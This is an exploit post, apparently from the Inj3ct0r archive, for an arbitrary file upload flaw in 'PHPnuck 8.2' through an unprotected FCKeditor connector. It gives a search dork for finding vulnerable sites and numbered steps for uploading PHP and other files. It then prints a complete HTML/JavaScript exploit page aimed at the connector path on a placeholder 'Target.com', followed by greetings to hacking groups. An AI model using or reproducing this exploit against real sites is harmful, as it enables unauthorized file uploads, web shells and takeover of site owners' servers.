PHPnuck 8.2 Remote Upload File Exploit

Posted on 26 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PHPnuck 8.2 Remote Upload File Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================
PHPnuck 8.2 Remote Upload File Exploit
======================================


# Title : PHPnuck 8.2 Remote Upload File Exploit
# Author : Net.Edit0r 
# Location : Iran
# Dork : &quot;POWERED BY PHPNUKE.IR&quot;
# Category : Remote
# Email : Net.Edit0r@Att.net ~ Black.Hat.TM@Gmail.com
# Special Thanks To :NetQurd (For help in finding bugs) &gt; Email :NetQurd@Live.CoM

[~]######################################### InformatioN #############################################[~]

[~] 1.Save code html format

[~] 2.Search Target.com

[~] 3.Edit and replace &amp; Target

[~] 4.Save Html Page

[~] 5.Open Page Html (Edite Source)

[~] 6.Set Format PHP

[~] 7.Choose File &amp; Upload

[~] 8.Formats can be uploaded (Html.Htm.Jpg.gif.Xml....)

[~] 9.Target.com/images/uploads/File/File Name

[~]######################################### ExploiT #############################################[~]

[~] 1. Exploit File :

&lt;!--
 * FCKeditor - The text editor for Internet - http://www.Sun
 * Test page for the File Browser connectors.
--&gt;
&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;title&gt;FCKeditor - By Net.Edit0r&lt;/title&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;
&lt;script type=&quot;text/javascript&quot;&gt;

// Automatically detect the correct document.domain (#1919).
(function()
{
var d = document.domain ;

while ( true )
{
// Test if we can access a parent property.
try
{
var test = window.opener.document.domain ;
break ;
}
catch( e ) {}

// Remove a domain part: www.mytest.example.com =&gt; mytest.example.com =&gt; example.com ...
d = d.replace( /.*?(?:.|$)/, '' ) ;

if ( d.length == 0 )
break ; // It was not able to detect the domain.

try
{
document.domain = d ;
}
catch (e)
{
break ;
}
}
})() ;

function BuildBaseUrl( command )
{
var sUrl =
document.getElementById('cmbConnector').value +
'?Command=' + command +
'&amp;Type=' + document.getElementById('cmbType').value +
'&amp;CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;

return sUrl ;
}

function SetFrameUrl( url )
{
document.getElementById('eRunningFrame').src = url ;

document.getElementById('eUrl').innerHTML = url ;
}

function GetFolders()
{
SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
return false ;
}

function GetFoldersAndFiles()
{
SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
return false ;
}

function CreateFolder()
{
var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;

if ( ! sFolder )
return false ;

var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
sUrl += '&amp;NewFolderName=' + encodeURIComponent( sFolder ) ;

SetFrameUrl( sUrl ) ;
return false ;
}

function OnUploadCompleted( errorNumber, fileName )
{
switch ( errorNumber )
{
case 0 :
alert( 'File uploaded with no errors' ) ;
break ;
case 201 :
GetFoldersAndFiles() ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to &quot;' + fileName + '&quot;' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}

this.frames.frmUpload = this ;

function SetAction()
{
var sUrl = BuildBaseUrl( 'FileUpload' ) ;
document.getElementById('eUrl').innerHTML = sUrl ;
document.getElementById('frmUpload').action = sUrl ;
}

&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;table height=&quot;100%&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;100%&quot; border=&quot;0&quot;&gt;
&lt;tr&gt;

&lt;td&gt;
&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td&gt;
Connector:&lt;br /&gt;
&lt;select id=&quot;cmbConnector&quot; name=&quot;cmbConnector&quot;&gt;
&lt;option value=&quot;asp/connector.asp&quot; selected=&quot;selected&quot;&gt;ASP&lt;/option&gt;
&lt;option value=&quot;aspx/connector.aspx&quot;&gt;ASP.Net&lt;/option&gt;

&lt;option value=&quot;cfm/connector.cfm&quot;&gt;ColdFusion&lt;/option&gt;
&lt;option value=&quot;lasso/connector.lasso&quot;&gt;Lasso&lt;/option&gt;
&lt;option value=&quot;perl/connector.cgi&quot;&gt;Perl&lt;/option&gt;
&lt;option value=&quot;http://Target.com/includes/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php&quot;&gt;PHP&lt;/option&gt;
&lt;option value=&quot;py/connector.py&quot;&gt;Python&lt;/option&gt;
&lt;/select&gt;

&lt;/td&gt;
&lt;td&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;
Current Folder&lt;br /&gt;
&lt;input id=&quot;txtFolder&quot; type=&quot;text&quot; value=&quot;/&quot; name=&quot;txtFolder&quot; /&gt;&lt;/td&gt;
&lt;td&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/td&gt;

&lt;td&gt;
Resource Type&lt;br /&gt;
&lt;select id=&quot;cmbType&quot; name=&quot;cmbType&quot;&gt;
&lt;option value=&quot;File&quot; selected=&quot;selected&quot;&gt;File&lt;/option&gt;
&lt;option value=&quot;Image&quot;&gt;Image&lt;/option&gt;
&lt;option value=&quot;Flash&quot;&gt;Flash&lt;/option&gt;
&lt;option value=&quot;Media&quot;&gt;Media&lt;/option&gt;

&lt;option value=&quot;Invalid&quot;&gt;Invalid Type (for testing)&lt;/option&gt;
&lt;/select&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;br /&gt;
&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot;&gt;
&lt;tr&gt;

&lt;td valign=&quot;top&quot;&gt;
&lt;a href=&quot;#&quot; onclick=&quot;GetFolders();&quot;&gt;Get Folders&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;
&lt;a href=&quot;#&quot; onclick=&quot;GetFoldersAndFiles();&quot;&gt;Get Folders and Files&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/td&gt;

&lt;td valign=&quot;top&quot;&gt;
&lt;a href=&quot;#&quot; onclick=&quot;CreateFolder();&quot;&gt;Create Folder&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;
&lt;form id=&quot;frmUpload&quot; action=&quot;&quot; target=&quot;eRunningFrame&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
File Upload&lt;br /&gt;
&lt;input id=&quot;txtFileUpload&quot; type=&quot;file&quot; name=&quot;NewFile&quot; /&gt;

&lt;input type=&quot;submit&quot; value=&quot;Upload&quot; onclick=&quot;SetAction();&quot; /&gt;
&lt;/form&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;br /&gt;
URL: &lt;span id=&quot;eUrl&quot;&gt;&lt;/span&gt;
&lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
&lt;td height=&quot;100%&quot; valign=&quot;top&quot;&gt;
&lt;iframe id=&quot;eRunningFrame&quot; src=&quot;javascript:void(0)&quot; name=&quot;eRunningFrame&quot; width=&quot;100%&quot;
height=&quot;100%&quot;&gt;&lt;/iframe&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;
&lt;/html&gt;

[~]######################################## ThankS To ... #########################################[~]

[~] Special Thanks To My Best FriendS :

NetQard , B3hz4d , Raiden , ~[ CriMe ]~ , † CoNstaNtine † , _R3v4l_ , ~~XTerror~~ , __l2o5v4__ , Zend 

[~] IRANIAN Young HackerZ

[~] GreetZ : Sun-Army.Org , Phc.Ir , Dark-tunnel.com , AttackerZ.IR

[~]######################################### FinisH :D #############################################[~]



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-26]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
TOP
Malware :

Last 20
Exploits :

Last 20